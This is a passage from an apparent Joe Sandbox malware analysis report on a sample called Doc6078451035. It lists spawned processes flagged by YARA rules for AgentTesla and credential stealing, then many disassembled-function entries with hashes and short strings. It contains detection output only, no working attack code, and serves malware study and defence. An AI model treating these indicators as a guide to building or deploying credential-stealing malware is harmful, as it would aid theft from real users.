00000007.00000002.2524754237.0000000004E27000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2524754237.0000000004D0F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2524754237.0000000004D87000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:49:12
Start date:	05/07/2024
Path:	C:\Users\user\AppData\Roaming\Hdoyoyt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Hdoyoyt.exe"
Imagebase:	0x40000
File size:	254'176 bytes
MD5 hash:	D95051443F4688AAF77B021012CA74F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2872467222.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2872467222.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2872467222.00000000025F4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2872467222.00000000025EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2872467222.00000000025FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:49:19
Start date:	05/07/2024
Path:	C:\Users\user\AppData\Roaming\Hdoyoyt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Hdoyoyt.exe"
Imagebase:	0x860000
File size:	254'176 bytes
MD5 hash:	D95051443F4688AAF77B021012CA74F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2871736226.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.2871736226.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.2871736226.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.2871736226.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.2871736226.0000000002B9A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 06BFD1B8 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Deq, xrefs: 06BFD2BD

Memory Dump Source

Source File: 00000000.00000002.1977377578.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: 1867ddee8573b40a17ea769cd3a1320092429f288fa52d0500560d3434942733
Instruction ID: d2ad9a7146f23f31461d10fe6a296d0f395a63fd3863a15b4379bd0b121ea9ff
Opcode Fuzzy Hash: 1867ddee8573b40a17ea769cd3a1320092429f288fa52d0500560d3434942733
Instruction Fuzzy Hash: 24D1D1B4E00218CFDB54DFA9D884A9DBBB2FF89300F1081A9D509AB365DB31AD85CF51

Function 006F63D0 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

Te^q, xrefs: 006F644F

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: bfb7de461770097f791a67bae8e902e851961539dfbf018ef94cd83e4920eb43
Instruction ID: 8935aae18da17d9f53a27575674990b350f69342aff96ee5918edeee6b09f731
Opcode Fuzzy Hash: bfb7de461770097f791a67bae8e902e851961539dfbf018ef94cd83e4920eb43
Instruction Fuzzy Hash: CBA1C1B4E0421CCFDB24DFA9D884BADBBF2BF49304F6090A9E509A7255DB745986CF00

Function 006F3283 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

k, xrefs: 006F32EC

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: k
API String ID: 0-140662621
Opcode ID: 0c7ecd9c7b1935cef754508c88c7599825257ae240d38577eb0c84bd5dde776b
Instruction ID: a4dff6f5ef7395ed543b950b55295d78356743d9858a7320e7deff7967f12f80
Opcode Fuzzy Hash: 0c7ecd9c7b1935cef754508c88c7599825257ae240d38577eb0c84bd5dde776b
Instruction Fuzzy Hash: 0811AFB1D05628CBEB28CF1B9D417A9FAB7AFC9300F14D0E9C50DA6215EB300A828E15

Function 006F5FB8 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c38d6a44a65af05d5b1120dd6e7c1dacddcd4820ad8f03b547cdf220359c31b
Instruction ID: fa2414b4c4e746d3669dee5ea93c9f622ae8cc1df671f2d7bfc66d01f4fc02a7
Opcode Fuzzy Hash: 2c38d6a44a65af05d5b1120dd6e7c1dacddcd4820ad8f03b547cdf220359c31b
Instruction Fuzzy Hash: 0851C174E05208DFDB04CFAAC544AEDBBF6BF89300F20E069E519AB255DB716846DF14

Function 006F1E6F Relevance: 3.8, Strings: 3, Instructions: 14COMMON

Download Yara Rule

Strings

Tg, xrefs: 006F1E6F
pDg, xrefs: 006F1E8B
^, xrefs: 006F1EAC

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: ^$pDg$Tg
API String ID: 0-2813579719
Opcode ID: 356c69a1ae5ae42b5535668e710c6cd1dff453c03893ad1ce5d00c003ab1e2ae
Instruction ID: a9783664814f155cecee17c765d8d754dc8d497407a9dc401766c9da4561ae3d
Opcode Fuzzy Hash: 356c69a1ae5ae42b5535668e710c6cd1dff453c03893ad1ce5d00c003ab1e2ae
Instruction Fuzzy Hash: 34E01770A011188BD715EF24D9487AEBBF3EB49304F4094E8914EA736ADFB41E998F44

Function 052E0ACF Relevance: 2.5, Strings: 2, Instructions: 31COMMON

Download Yara Rule

Strings

4, xrefs: 052E0BF0
9, xrefs: 052E0C19

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 4$9
API String ID: 0-1926168048
Opcode ID: ccb34b5b9804f3292236675b06f3c49b7052f8227364a11b5cea08a5fd7d6642
Instruction ID: 7b7a87c32052f86d262b8c344c874090c851cac4cdaf66ed4eac5208767c595a
Opcode Fuzzy Hash: ccb34b5b9804f3292236675b06f3c49b7052f8227364a11b5cea08a5fd7d6642
Instruction Fuzzy Hash: 0A01003495622ACFEB64CF04C898FA8B7F5BB05344F4040E9D009AB281D7B69EC6CF00

Function 052E07E4 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

B, xrefs: 052E081D
B, xrefs: 052E0846

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: B$B
API String ID: 0-3848618406
Opcode ID: 7639ba8de6bf4a5f6b33131aa0b72aa15062179e3b587a89f3004daadc4110e0
Instruction ID: aba83aaf8bbea032c911abe33d53ab72b1937904a2b7690cd3a6c3bc62ee4776
Opcode Fuzzy Hash: 7639ba8de6bf4a5f6b33131aa0b72aa15062179e3b587a89f3004daadc4110e0
Instruction Fuzzy Hash: 1AF0E2B4A55269CFEB20CF54DD49BE9BBF5BB08305F4001E5E209AB281C3B85E80CF14

Function 052E0685 Relevance: 2.5, Strings: 2, Instructions: 20COMMON

Download Yara Rule

Strings

:, xrefs: 052E06D4
0!x, xrefs: 052E068E

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 0!x$:
API String ID: 0-311133756
Opcode ID: d3d61ce2ad42168871f0fcc4108b662a4af6c2e74f880308a3670064a8c368f1
Instruction ID: 09fcc59279e2eb1cbe5aaab1591dbc9c566eb57b041e85ba5bdeec3c1a8c8208
Opcode Fuzzy Hash: d3d61ce2ad42168871f0fcc4108b662a4af6c2e74f880308a3670064a8c368f1
Instruction Fuzzy Hash: B0F0157190065EDBCF129F50CC44ADAF77AFF46300F008689AA5937210DBB0AB96DF91

Function 052E0E45 Relevance: 2.5, Strings: 2, Instructions: 19COMMON

Download Yara Rule

Strings

G, xrefs: 052E0E4F
5, xrefs: 052E0AC0

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 5$G
API String ID: 0-3299986428
Opcode ID: c08ab4ee09ab2bcb1159d1c890b86d9964003d2ceb097e0425f58d76665924f0
Instruction ID: d352257ab9a0abc9a037ebfa875bbce76e5a6bff3abed90cd0ddb63f4107c1bc
Opcode Fuzzy Hash: c08ab4ee09ab2bcb1159d1c890b86d9964003d2ceb097e0425f58d76665924f0
Instruction Fuzzy Hash: BFE0C27481922DCFEF24CF10C949BE9BBF6AB06305F005099C4196A261D7B85AC9CF61

Function 006F3098 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

LR^q, xrefs: 006F312C

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 9fd58a935f802df173711b9961a789a3e4507ded060d53d3223af0ef42ebbda6
Instruction ID: a67be8883186fcd5c870fe341f94e64ce3ce6b46ad4dbd4ca47b02bc2f9b0c75
Opcode Fuzzy Hash: 9fd58a935f802df173711b9961a789a3e4507ded060d53d3223af0ef42ebbda6
Instruction Fuzzy Hash: 3A412174E05219CFCB04CFA9D884AEEBBF2BF89300F00946AE519A7361DB701A45CF44

Function 052E098D Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

&, xrefs: 052E0676

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 22b2d51db591e3e73fcd20ec736cc1ee967534625b0560bd445d7226e005dd76
Instruction ID: cf428d4a974ed94cc237c1522b43d31a17298d972a5e066817523fd2dbb0792f
Opcode Fuzzy Hash: 22b2d51db591e3e73fcd20ec736cc1ee967534625b0560bd445d7226e005dd76
Instruction Fuzzy Hash: DF111270E15259DFDB68DF54DC49BA8BBB2BF85300F5040A9D109AB250DB741EC5CF04

Function 052E0595 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

/, xrefs: 052E05A2

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 2b69066d962b977dc2cc5638ef73156e4e113866bafd2bc201b243b29235c5f5
Instruction ID: 5a3b571415d4e9f49032565509233901ec5059c53b13fde8fabfb8647c26191f
Opcode Fuzzy Hash: 2b69066d962b977dc2cc5638ef73156e4e113866bafd2bc201b243b29235c5f5
Instruction Fuzzy Hash: DE11BC70924229CFDB24CF14D989BA8B7F6BF49300F4011A9D00AAB256CBB5AE85CF15

Function 052E05B2 Relevance: 1.3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

Strings

A, xrefs: 052E05E5

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: 320679ecd858b95977b9029db03a34db1173a945b2bc1b3bfae1ea46745531a0
Instruction ID: b1dc70425aefa0f44aec1d4f9270b3f1a1271c30eb58b5b5554342e125339194
Opcode Fuzzy Hash: 320679ecd858b95977b9029db03a34db1173a945b2bc1b3bfae1ea46745531a0
Instruction Fuzzy Hash: 3B01D27496412ACFDB25CF94D889BE8BBB2BF08304F4041EAD519AB291C3B59EC5DF50

Function 052E0AF2 Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

8, xrefs: 052E0AFC

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 186a03691e9207d85ecf338d13a7f0ef69a0a286aaf7cf404cf698cf7e6caef7
Instruction ID: 39621ccb3ab989769b53a2aa2956ccbc518c6a723f847a83d12e132f0a1dc5cc
Opcode Fuzzy Hash: 186a03691e9207d85ecf338d13a7f0ef69a0a286aaf7cf404cf698cf7e6caef7
Instruction Fuzzy Hash: 1501C074914229CFDB25CF94D889BE8BBB1BF18305F4041E9E109AB291C7B55EC6DF50

Function 06BE5E9F Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

0!x, xrefs: 06BE5EAE, 06BE5EF2

Memory Dump Source

Source File: 00000000.00000002.1977377578.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 0!x
API String ID: 0-158060655
Opcode ID: 096296352bbfbd110abc52f90bf9b12bb1ac09abf3ef6aac8a10d2285aaa6d5a
Instruction ID: aba1af538206e5c6d9afa7eb8e7459cc687ef036ded1cfcc3d58a20803d2c20c
Opcode Fuzzy Hash: 096296352bbfbd110abc52f90bf9b12bb1ac09abf3ef6aac8a10d2285aaa6d5a
Instruction Fuzzy Hash: EE0190B8A04228DFDB61EF19C898AD9B7B6FB48301F0080D9E50DA7344DB349E818F51

Function 06BE512B Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

0!x, xrefs: 06BE513A

Memory Dump Source

Source File: 00000000.00000002.1977377578.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 0!x
API String ID: 0-158060655
Opcode ID: a54c6137042620644e3042b5b564104b106bb5cc7d2f9fc5317971346ac77368
Instruction ID: b7cd367c454c5ea3bb514683416c93eeb7f26e20c181af48c85ef8049b0bd597
Opcode Fuzzy Hash: a54c6137042620644e3042b5b564104b106bb5cc7d2f9fc5317971346ac77368
Instruction Fuzzy Hash: 2FF03AB5A4112DCFEB64DF54D884AD8B3B4FB88305F0040E6D529A7201CB349B948F41

Function 052E0621 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

&, xrefs: 052E0676

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 088aaa39b1f26c873379da1bcb964414bda4ed799069896a6d71295c8f1baffd
Instruction ID: 3095c56f5df03940a33838f2d6c2530d07e5a77d50aae52446dc460c7a16c698
Opcode Fuzzy Hash: 088aaa39b1f26c873379da1bcb964414bda4ed799069896a6d71295c8f1baffd
Instruction Fuzzy Hash: FEF07474A11269EFDF64DF50DC59B9DBBB2AF45300F500099A109BA254CF711E858F19

Function 052E042D Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

7, xrefs: 052E0474

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 49acf218da1e7ade8797aec3c4c52ce1086f027128ea64dbf022929e5cd3eef2
Instruction ID: 87c5271c4f9ac337d9258b4be31b3807c1e623345102cb4077c263b78ce6ba35
Opcode Fuzzy Hash: 49acf218da1e7ade8797aec3c4c52ce1086f027128ea64dbf022929e5cd3eef2
Instruction Fuzzy Hash: 39F0C279945228CFDF21CF50CC49BD9BBB1BB19304F4080D5E509A6251C7745EC5CF10

Function 052E174D Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

0!x, xrefs: 052E1758

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 0!x
API String ID: 0-158060655
Opcode ID: ca95d739551a8dc6c6f8fe0c59bec4b871a164abb4c048fe8e45e327a24dbb9c
Instruction ID: 4e6db8c8abe2b3f968c8aca848d215535e7431b8965559413668f358c116aaaa
Opcode Fuzzy Hash: ca95d739551a8dc6c6f8fe0c59bec4b871a164abb4c048fe8e45e327a24dbb9c
Instruction Fuzzy Hash: 2CE0E5759142299FDB60CF54D890BAABBFDAB09300F1040A9E649E3640EB349B849F50

Function 006F57D0 Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

C, xrefs: 006F5809

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1037565863
Opcode ID: 96cbebc444b00d6bc8508fa91e36b73f9d74519cbd3700443fafee6a25bf14c8
Instruction ID: 47b05549fa723737f0c19863e43ff4001679ded6809971ce81f51e0b57dc076e
Opcode Fuzzy Hash: 96cbebc444b00d6bc8508fa91e36b73f9d74519cbd3700443fafee6a25bf14c8
Instruction Fuzzy Hash: 50E052B8901229CFDB60CF24C894AA8B7B1BB49304F1051DAD609A7360D7305F80CF08

Function 052E0A8E Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

5, xrefs: 052E0AC0

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 89a4e2f37313df3cc68b23a330c963c5397b850e243531cd30cfa55ff99ba295
Instruction ID: 4595268d7d700a33f93bc489bcf1f88a7763e283498a4843b1d4cbdd3c8669c8
Opcode Fuzzy Hash: 89a4e2f37313df3cc68b23a330c963c5397b850e243531cd30cfa55ff99ba295
Instruction Fuzzy Hash: 37E0E27891422DCFEF20CF20D989BD9BBF5AB06301F0040E6841967261D7745BC8CF40

Function 006F53F1 Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

5, xrefs: 006F5428

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: d8e24a858e5733f3d8f6cfbfcef75f8166d67904719bc593dc425be810f3e03f
Instruction ID: 812cd918aa0de52c1587294f625d7a392a780cc39fe2b4e16f3c3e6dd28259f7
Opcode Fuzzy Hash: d8e24a858e5733f3d8f6cfbfcef75f8166d67904719bc593dc425be810f3e03f
Instruction Fuzzy Hash: 1CE0BD74D04228CFDBA0CF29CC88BA8B7F1AB04301F1040D9900CA2221D7305FC0DF10

Function 006F614C Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a322153ee322d0d772f9f553ee8a1e02f3ce6cbad034c33320456647e532b371
Instruction ID: 058529d713a76a011e1a2417a7eb4e052d63eccdf3856837c1889085f0e8dc39
Opcode Fuzzy Hash: a322153ee322d0d772f9f553ee8a1e02f3ce6cbad034c33320456647e532b371
Instruction Fuzzy Hash: 8C519F74E05208EFDB00CFA9D584AEDBBF6FF49304F20A069E509AB255DB71A845DF18

Function 006F67A9 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23a8ef146125d0341ce1a28b6d3605975e12e5aff63022d6d2b08483ba92d6c5
Instruction ID: c271f10ae2a2f16ea87b5906f477e9f9561ac3f92a80e1eba60255d8dc1ba3f6
Opcode Fuzzy Hash: 23a8ef146125d0341ce1a28b6d3605975e12e5aff63022d6d2b08483ba92d6c5
Instruction Fuzzy Hash: B44144B4D06248CFCB00CFA8D484AEDBBF2FB4A304F1090AAE129A7361E7755946CF10

Function 006F67F0 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f91cd72375315bbc7bff647c68b18cae2973b8db6d5b8d7e826753c2ab6ba6d4
Instruction ID: 80e96d397330f2cdd97cb119dd32812343ad296ddd83410f6950b51f7995f0ff
Opcode Fuzzy Hash: f91cd72375315bbc7bff647c68b18cae2973b8db6d5b8d7e826753c2ab6ba6d4
Instruction Fuzzy Hash: D041B0B4D0520CCBDB04CFAAD485BEDBBF6BB49304F109029E529AB355EB755886CF24

Function 052E179E Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36bc1f95aaf392a4c69460dff31ea50b3d714a33612dac18dc70f12a8255e2d3
Instruction ID: 8b2e1bb9b7219791cdf83e75471d378d54c8cb8e7616f3e8401057da844e82cd
Opcode Fuzzy Hash: 36bc1f95aaf392a4c69460dff31ea50b3d714a33612dac18dc70f12a8255e2d3
Instruction Fuzzy Hash: CC61F7B4D15228DFDBA1CF29C984BD9BBF1AB49304F5081EAA54DA7240EB719EC5CF40

Function 052E17F9 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8daa05b15e3f2b2f2370555f2406f8d3101ab19907969384354b85edc47a92
Instruction ID: 02b31b2b858f2cf23b0c144e1839b4058e1e5dad9543a9ecbb173ef9140a9860
Opcode Fuzzy Hash: ed8daa05b15e3f2b2f2370555f2406f8d3101ab19907969384354b85edc47a92
Instruction Fuzzy Hash: 8D5126B4D15228DFDB61CF29C984BD9BBF1BB49304F4081EAA94DA7200E7719E84CF50

Function 006F6972 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1c73c317ebcaeb22950d5be23dff7830bdfa763a3566024d1dbdb8a6cecc976
Instruction ID: c046ebaa4c1967c9f2eee10c5fd03df1124523ff71f2eecdefb2e2878a778d99
Opcode Fuzzy Hash: c1c73c317ebcaeb22950d5be23dff7830bdfa763a3566024d1dbdb8a6cecc976
Instruction Fuzzy Hash: A041E1B4D05209CFDB04CFA9D484BECBBF6BB4A304F109069E529AB355E7759889CF14

Function 006F2F50 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 321ccd7ea6089b1d23e4ebb8bcb5b12b178a76841253a1803fda56772e44b97f
Instruction ID: 01cfdefa0516d1695fe619258cd16b0069808857e9cf78d467e82df1200f43df
Opcode Fuzzy Hash: 321ccd7ea6089b1d23e4ebb8bcb5b12b178a76841253a1803fda56772e44b97f
Instruction Fuzzy Hash: D231F574E4221DCFDB14CFA6C8546EEB7B2FB89304F208869D509A3354DB39A942CF15

Function 006F71E6 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61ba9a98f55134ea6bdde57fa2a57d1114526522dc4b2885e61ca41c74c87853
Instruction ID: 665311774c4506ca5c850ca93eb5a8771cd3791ea25fca662c606a7dc75992db
Opcode Fuzzy Hash: 61ba9a98f55134ea6bdde57fa2a57d1114526522dc4b2885e61ca41c74c87853
Instruction Fuzzy Hash: F2311870D0425D9FDB14CFA9C590AEEBFF1AF48300F24846AE549AB350DB749945CF94

Function 006F71F0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

